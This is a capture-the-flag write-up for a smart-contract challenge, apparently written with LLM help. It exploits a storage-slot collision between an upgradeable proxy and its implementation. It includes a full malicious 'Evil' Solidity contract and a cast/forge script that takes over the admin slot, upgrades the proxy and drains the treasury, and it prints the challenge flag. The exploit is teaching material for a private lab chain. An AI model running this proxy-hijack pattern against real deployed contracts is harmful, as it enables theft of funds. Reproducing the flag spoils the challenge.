Neven Marić
Hidden Investigations CTF 2026

Hidden Investigations CTF 2026

Quiet Upgrade

Exploit a storage-layout collision between a delegatecall proxy and its implementation: registerBranch() aliases the proxy's admin slot, enabling upgrade to a malicious implementation that sweeps the treasury.

  • blockchain
  • delegatecall
  • storage-collision
  • proxy-hijack
  • upgradeable-proxy
  • foundry
  • solidity

What this one teaches

  • A delegatecall proxy and its implementation share storage. If the implementation has a public setter for slot 0 and the proxy keeps its admin in slot 0, anyone can hijack the proxy.
  • The loud comment saying 'this slot is never written' was a decoy pointing at slot 1. The exploitable write was the quiet one at slot 0.
  • Prove exploits locally on a disposable anvil chain before touching the live instance — the same script runs against both.

Task description

A regional settlement node runs its ledger logic behind an upgradeable proxy. The upgrade path was added in a later release and was never checked against the proxy’s existing storage layout.

Each team gets a private chain. You’re given an RPC URL, a funded private key, and the address of the Setup contract. The Solidity sources for everything deployed on your instance are in contracts/.

Win condition: the settlement node’s treasury ends holding less than 1% of its starting reserve. Submit through the checker once Setup.isSolved() returns true.

  • Category: blockchain (hard)

Spot the storage-layout collision

SettlementProxy keeps its pointers in sequential slots: slot 0 = admin, slot 1 = implementation. SettlementV1, reached only through the proxy’s delegatecall, lays out slot 0 = branchOperator, slot 1 = branchRegistrar, then the mappings. So SettlementV1.branchOperator aliases the proxy’s admin slot. The handout comments loudly stress that branchRegistrar (slot 1, the implementation pointer) “is never written here” — that is the decoy; the exploitable write is to slot 0, not slot 1.

Hijack admin

SettlementV1.registerBranch(operator) is open (the registrar was never wired to gate it) and does branchOperator = operator, i.e. a write to slot 0. Calling proxy.registerBranch(attacker) therefore sets proxy.admin = attacker. The ordinary withdraw path can’t drain the treasury because it needs ledger[caller] credit the attacker doesn’t have — the collision is the intended route.

Deploy the malicious implementation

proxy.upgradeTo gates only on admin plus a tag check: the candidate’s proxiableSlot() must return keccak256(abi.encodePacked(keccak256("quiet-upgrade.proxiable"), proxyAddr)).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface ITreasury {
    function release(address to, uint256 amount) external;
}
interface IERC20 {
    function balanceOf(address who) external view returns (uint256);
}

contract Evil {
    bytes32 public immutable slotProof;
    address public immutable treasury;
    address public immutable stl;
    address public immutable attacker;

    constructor(address proxy, address _treasury, address _stl, address _attacker) {
        bytes32 quTag = keccak256("quiet-upgrade.proxiable");
        slotProof = keccak256(abi.encodePacked(quTag, proxy));
        treasury = _treasury;
        stl = _stl;
        attacker = _attacker;
    }

    function proxiableSlot() external view returns (bytes32) {
        return slotProof;
    }

    /// Runs under the proxy's delegatecall. address(this) == proxy, so
    /// Treasury sees msg.sender == settlementSystem and releases the reserve.
    function sweep() external {
        uint256 bal = IERC20(stl).balanceOf(treasury);
        if (bal > 0) {
            ITreasury(treasury).release(attacker, bal);
        }
    }
}

Exploit script

#!/bin/bash
# Needs: RPC_URL, PRIVATE_KEY (funded), SETUP_ADDRESS.
# Run inside ghcr.io/foundry-rs/foundry:v1.8.5
set -euo pipefail

ATTACKER=$(cast wallet address --private-key "$PRIVATE_KEY")
PROXY=$(cast call "$SETUP_ADDRESS" "proxy()(address)" -r "$RPC_URL")
TREASURY=$(cast call "$SETUP_ADDRESS" "treasury()(address)" -r "$RPC_URL")
STL=$(cast call "$SETUP_ADDRESS" "stl()(address)" -r "$RPC_URL")

# 1) Storage-collision admin hijack: slot 0 (branchOperator) = proxy admin
cast send "$PROXY" "registerBranch(address)" "$ATTACKER" \
  --private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null

# 2) Deploy Evil (passes proxiableSlot() tag check)
EVIL=$(forge create src/Evil.sol:Evil \
  --private-key "$PRIVATE_KEY" -r "$RPC_URL" --broadcast \
  --constructor-args "$PROXY" "$TREASURY" "$STL" "$ATTACKER" \
  | sed -nE 's/.*Deployed to:[[:space:]]*(0x[0-9a-fA-F]{40}).*/\1/p')

# 3) Upgrade proxy to Evil
cast send "$PROXY" "upgradeTo(address)" "$EVIL" \
  --private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null

# 4) Sweep treasury (delegatecall -> Treasury.release)
cast send "$PROXY" "sweep()" \
  --private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null

echo "isSolved: $(cast call "$SETUP_ADDRESS" 'isSolved()(bool)' -r "$RPC_URL")"

Result

Setup.isSolved() returns true. Reserve goes from 5e24 to 0. The exploit was proven locally on a disposable anvil chain before running against the live instance.

Lessons

  • A delegatecall proxy and its implementation share storage. If the implementation has a public setter for slot 0 and the proxy keeps admin in slot 0, anyone can hijack the proxy.
  • The loud comment saying “this slot is never written” was a decoy for slot 1. The real write was the quiet branchOperator = operator at slot 0.
  • Prove exploits on a local fork first. The same solve.sh ran against both anvil and the live chain.
The flagRevealhiCTF{sl0t0_c0llision_then_a_qu1et_upgrade_9f81f9d46d}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.